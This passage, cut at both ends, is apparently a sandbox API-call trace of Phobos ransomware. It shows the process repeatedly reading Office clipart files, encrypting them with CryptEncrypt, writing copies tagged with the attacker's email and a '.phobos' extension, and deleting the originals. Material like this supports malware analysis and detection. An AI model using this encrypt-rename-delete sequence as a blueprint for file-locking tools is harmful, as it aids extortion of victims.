lpOverlapped=0x0) returned 1 [0058.505] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x17b0, dwBufLen=0x17b0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x17b0) returned 1 [0058.505] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x17b0, lpOverlapped=0x0) returned 1 [0058.506] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc90) returned 1 [0058.506] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.506] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.506] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0058.506] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.506] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0058.506] CloseHandle (hObject=0x328) returned 1 [0058.506] CloseHandle (hObject=0x310) returned 1 [0058.507] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0058.508] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.508] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2636) returned 1 [0058.508] CloseHandle (hObject=0x310) returned 1 [0058.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0058.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.508] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.508] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.509] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc750) returned 1 [0058.509] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.509] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xa4c, lpOverlapped=0x0) returned 1 [0058.522] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa50, dwBufLen=0xa50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa50) returned 1 [0058.522] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xa50, lpOverlapped=0x0) returned 1 [0058.523] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc810) returned 1 [0058.523] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.523] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.523] CryptDestroyKey (hKey=0x10dc810) returned 1 [0058.523] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.523] CryptDestroyKey (hKey=0x10dc750) returned 1 [0058.523] CloseHandle (hObject=0x310) returned 1 [0058.523] CloseHandle (hObject=0x328) returned 1 [0058.531] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0058.533] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.533] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4612) returned 1 [0058.533] CloseHandle (hObject=0x304) returned 1 [0058.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0058.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.534] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.534] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.536] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc8d0) returned 1 [0058.536] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.536] ReadFile (in: hFile=0x304, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1204, lpOverlapped=0x0) returned 1 [0058.543] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1210, dwBufLen=0x1210 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1210) returned 1 [0058.543] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1210, lpOverlapped=0x0) returned 1 [0058.544] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc10) returned 1 [0058.544] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.544] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.544] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0058.544] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.544] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0058.544] CloseHandle (hObject=0x304) returned 1 [0058.544] CloseHandle (hObject=0x310) returned 1 [0058.545] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0058.546] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.546] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=7668) returned 1 [0058.546] CloseHandle (hObject=0x310) returned 1 [0058.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220 [0058.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.546] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.546] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.547] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc650) returned 1 [0058.547] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.547] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1df4, lpOverlapped=0x0) returned 1 [0058.553] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1e00) returned 1 [0058.553] WriteFile (in: hFile=0x304, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1e00, lpOverlapped=0x0) returned 1 [0058.554] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0058.554] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.554] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.554] CryptDestroyKey (hKey=0x10dc690) returned 1 [0058.554] WriteFile (in: hFile=0x304, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.554] CryptDestroyKey (hKey=0x10dc650) returned 1 [0058.554] CloseHandle (hObject=0x310) returned 1 [0058.554] CloseHandle (hObject=0x304) returned 1 [0058.555] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0058.555] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.559] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=7804) returned 1 [0058.559] CloseHandle (hObject=0x328) returned 1 [0058.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220 [0058.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.559] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.559] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.560] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc6d0) returned 1 [0058.560] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.560] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1e7c, lpOverlapped=0x0) returned 1 [0058.577] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1e80) returned 1 [0058.577] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1e80, lpOverlapped=0x0) returned 1 [0058.578] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc950) returned 1 [0058.578] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.578] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.578] CryptDestroyKey (hKey=0x10dc950) returned 1 [0058.578] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.578] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0058.578] CloseHandle (hObject=0x328) returned 1 [0058.578] CloseHandle (hObject=0x338) returned 1 [0058.579] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0058.580] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.580] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2016) returned 1 [0058.580] CloseHandle (hObject=0x338) returned 1 [0058.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0058.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.580] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.580] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.581] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc6d0) returned 1 [0058.581] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.581] ReadFile (in: hFile=0x338, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x7e0, lpOverlapped=0x0) returned 1 [0058.646] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x7f0) returned 1 [0058.646] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x7f0, lpOverlapped=0x0) returned 1 [0058.647] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc90) returned 1 [0058.647] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.647] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.647] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0058.647] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.647] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0058.647] CloseHandle (hObject=0x338) returned 1 [0058.647] CloseHandle (hObject=0x328) returned 1 [0058.648] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0058.649] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.649] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2492) returned 1 [0058.650] CloseHandle (hObject=0x328) returned 1 [0058.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0058.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 